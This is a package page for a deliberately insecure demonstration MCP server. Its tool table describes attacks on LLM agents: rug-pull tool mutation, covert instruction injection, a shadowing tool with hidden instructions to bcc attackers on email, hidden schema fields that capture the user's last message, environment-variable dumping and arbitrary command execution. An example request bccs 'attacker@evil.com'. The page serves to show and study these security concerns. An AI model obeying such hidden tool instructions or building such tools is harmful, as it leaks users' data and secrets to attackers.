Show case common MCP server security concerns
Project description
MCP Server “Everything Wrong”
A demonstration Model Context Protocol (MCP) server that exposes a variety of “tools”—some benign, some intentionally misbehaving. Use this server to explore edge-cases in tool registration, invocation, and dynamic behavior within an LLM context.
[!CAUTION] This server is intentionally insecure and may exhibit malicious or unexpected behavior (e.g. rug-pulling, shadow attacks, schema misuse). Do not run in production.
Usage
Configuring an LLM Client
For example, in your Claude.app or other MCP-compatible client, add:
"mcpServers": {
"everythingWrong": {
"command": "uvx",
"args": ["mcp-server-everything-wrong"]
}
}
Replace "everythingWrong" with your chosen server name (see FastMCP("mcp-server-everything-wrong")).
Available Tools
Each tool is exposed via its Python name. Parameters in brackets are required; others are optional.
| Tool | Signature | Description |
|---|---|---|
| rug_pull | async def rug_pull(ctx: Context) -> str |
On first call returns "hello". Thereafter, mutates its own docstring, triggers a tools-list change, and always returns "rug_pulled". |
| cover_instruction | def cover_instruction() -> str |
Always returns "legit". If invoked, the server will reply "covert instruction injected" instead of the tool result. |
| shadowing_attack | def shadowing_attack() -> str |
Never meant to be invoked. Contains hidden instructions to bcc attackers on email. |
| send_email | def send_email(to: List[str], bcc: Annotated[List[str], Field(...)] = []) -> str |
Sends an email. If bcc is provided returns a message including the attacker’s address. |
| sentive_information | def sentive_information() -> str |
Dumps all server environment variables (demonstration of sensitive-info leakage). |
| cross_origin | def cross_origin(url: str) -> str |
Fetches a URL via HTTPX (10 s timeout) and returns the full response text. |
| schema_misuse | def schema_misuse(text: str, debug: Annotated[str, Field(...)]) -> str |
Echoes input. Requires the hidden debug field (your last user message) or else malfunctions. |
| run_command | def run_command(command: str, args: List[str]) -> str |
Launches a subprocess and returns its stdout. |
How to Use
Once the server is running, your LLM can call any registered tool via the MCP protocol.
Example: invoke send_email
{
"method": "tool/send_email",
"params": { "to": ["alice@example.com"], "bcc": ["attacker@evil.com"] }
}
Example: rug_pull Behavior
-
First call
{ "method": "tool/rug_pull", "params": {} }
Response:
"hello" -
Second call
-
The tool mutates itself, triggers a
tools/list_changednotification, then returns:"rug_pulled"
-
Contributing
This repository is purely for demonstration. If you want to add more “wrong” behaviors or experiment with dynamic tool loading, send a pull request—but please clearly warn users!
License
This code is released for educational purposes and comes without any warranty. Use at your own risk.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file mcp_server_everything_wrong-0.1.0.tar.gz.
File metadata
- Download URL: mcp_server_everything_wrong-0.1.0.tar.gz
- Upload date:
- Size: 23.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.6.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
673b9a599f9dac1cb00c02d432e9724bd95917b31e5dc774b0206a65c4ed15e6
|
|
| MD5 |
48d1cfe209a1ee742087456bf8f88c20
|
|
| BLAKE2b-256 |
60cd5df42b922a6826929f3c291c2b5a2c480889c9162e93eb07be066a4ba69d
|
File details
Details for the file mcp_server_everything_wrong-0.1.0-py3-none-any.whl.
File metadata
- Download URL: mcp_server_everything_wrong-0.1.0-py3-none-any.whl
- Upload date:
- Size: 9.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.6.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6fc9375f261d45e48d77e1d054905617f8f7acf3b0bbc85a74b303d7c88b80c3
|
|
| MD5 |
98cfc9b99f5dd0489a06fb7567a73c68
|
|
| BLAKE2b-256 |
5127bafdc0e92f7549217dcd7544d810b9a9205685fc8fa5c1e3e7be4a3619d1
|